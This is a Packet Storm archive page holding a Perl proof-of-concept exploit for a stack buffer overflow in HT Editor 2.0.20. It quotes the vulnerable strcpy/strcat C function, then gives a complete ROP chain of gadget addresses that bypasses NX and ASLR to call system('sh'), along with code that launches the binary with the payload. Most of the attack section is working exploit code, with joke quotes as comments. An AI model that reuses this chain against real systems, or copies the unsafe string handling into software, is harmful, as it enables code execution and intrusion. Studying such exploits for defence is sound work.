exploit the possibilities

HT Editor 2.0.20 Buffer Overflow

HT Editor 2.0.20 Buffer Overflow
Posted Nov 13, 2012
Authored by ZadYree

HT Editor version 2.0.20 buffer overflow ROP proof of concept exploit.

tags | exploit, overflow, proof of concept
MD5 | 7e7d38c2d52f874e8196798f7ae2701f

HT Editor 2.0.20 Buffer Overflow

Change Mirror Download
#!/usr/bin/perl
=head1 TITLE

HT Editor 2.0.20 Buffer Overflow (ROP PoC)

=head2 DESCRIPTION

Since version 2.0.18, the stack overflow vulnerability has not been corrected, which I assume would make it 0day?
I consequently recoded an exploit, as memory addresses have changed. I chose to
make it B<bypass NX & ASLR>, SSP not being implemented.
To be honnest, it may be the only interest, as the binary is not SUID.

Remove =begin ... annotation (at the end) to just print the command line.

=head2 USAGE

perl poc.pl /hte/path



=head3 Code

int sys_common_canonicalize(char *result, const char *filename, const char *cwd, is_path_delim delim)
{
char *o = result;
if (!sys_path_is_absolute(filename, delim)) {
if (cwd) strcpy(o, cwd); else return EINVAL; // Our buffer size depends on path length.
int ol = strlen(o);
if (ol && !delim(o[ol-1])) {
o[ol] = '/';
o[ol+1] = 0;
}
} else *o = 0;
strcat(o, filename); //<-- And here it is, good old unsecure function
int k = flatten_path(o, delim);
return (k == 0) ? 0 : EINVAL;
}

=head3 AUTHORS

* ZadYree
* 3LRVS crew

=head3 Note

The path variable (o) is also vulnerable through a strcpy() unsecure call.
Hope developpers will mind correcting both 2.


Voice on T.V.: Is today's hectic lifestyle making you tense and impatient?
Bender: Shut up and get to the point!
=cut

use 5.010;
use Cwd;

my $bin = shift;
die "[-] Bad filename.\n" unless (-e $bin);

# Let's now dive into
my $pool = [
## Fry: This snow is beautiful. I'm glad global warming never happened. ##
## Leela: Actually, it did. But thank God nuclear winter canceled it out. ##
pack('V', 0x80b395e), # pop %esi; ret;
pack('V', 0x81bd518), # endwin@GOT
pack('V', 0x80b5903), # mov %esi, %eax; pop pop pop ret;
pack('V', 0xb00b4dad) x 3, # JUNK
pack('V', 0x813527b), # mov (%eax), %eax; add $0x1c, %esp; ret;
pack('V', 0xabadf00d) x 7, # JUNK
pack('V', 0x813589b), # call *%eax;

## Amy, technology isn't intrinsecly good or evil, it's how it's used, like the Death Ray. ##
pack('V', 0x80b395e), # pop %esi; ret;
pack('V', 0x81bd3fc), # __cxa_atexit@GOT - 4 // base address whose pointer will help locating system().
pack('V', 0x80b5903), # mov %esi, %eax; pop pop pop ret;
pack('V', 0xdeadbeef) x 3, # JUNK
pack('V', 0x80c21e6), # add %eax, $0x4; ret; // Beat my 8 bit metal ass.
pack('V', 0x813527b), # mov (%eax), %eax; add $0x1c, %esp; ret; // In the game of chess, you can never let your adversary see your pieces.
pack('V', 0xdeafface) x 7, # JUNK
pack('V', 0x80b395e), # pop %esi; ret;
pack('V', 0x292ceaab), # A number to get the right
pack('V', 0x80512a6), # add %esi, %eax; pop pop pop ret;
pack('V', 0xc0b4beef) x 3, # JUNK
pack('V', 0x80d4612), # sub eax, 0x292c4e8b ; ret; // I'm not sure. I'm afraid we need to use... MATH.
pack('V', 0x813589b), # call *%eax;
pack('V', 0x804aa10), # exit@plt
pack('V', 0x816928f), # 'sh' string
];

=begin printPayload
my $buff = '"A"x' . (4107 - length(getcwd));

my $rop = join("", map {$_ = '\x' . unpack('H*', $_)} split(//, join("", @$pool)));

my $payload = qq{`perl -e 'print $buff . "$rop";'`};

say $bin . ' ' . $payload;
__END__
=end printPayload
=cut

say "[*] Executing system('sh')";

my $buff = ("A" x (4107 - length(getcwd)));
my $rop = join("", @$pool);
system($bin, $buff . $rop);
say "[+] Got Shell!";

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    14 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close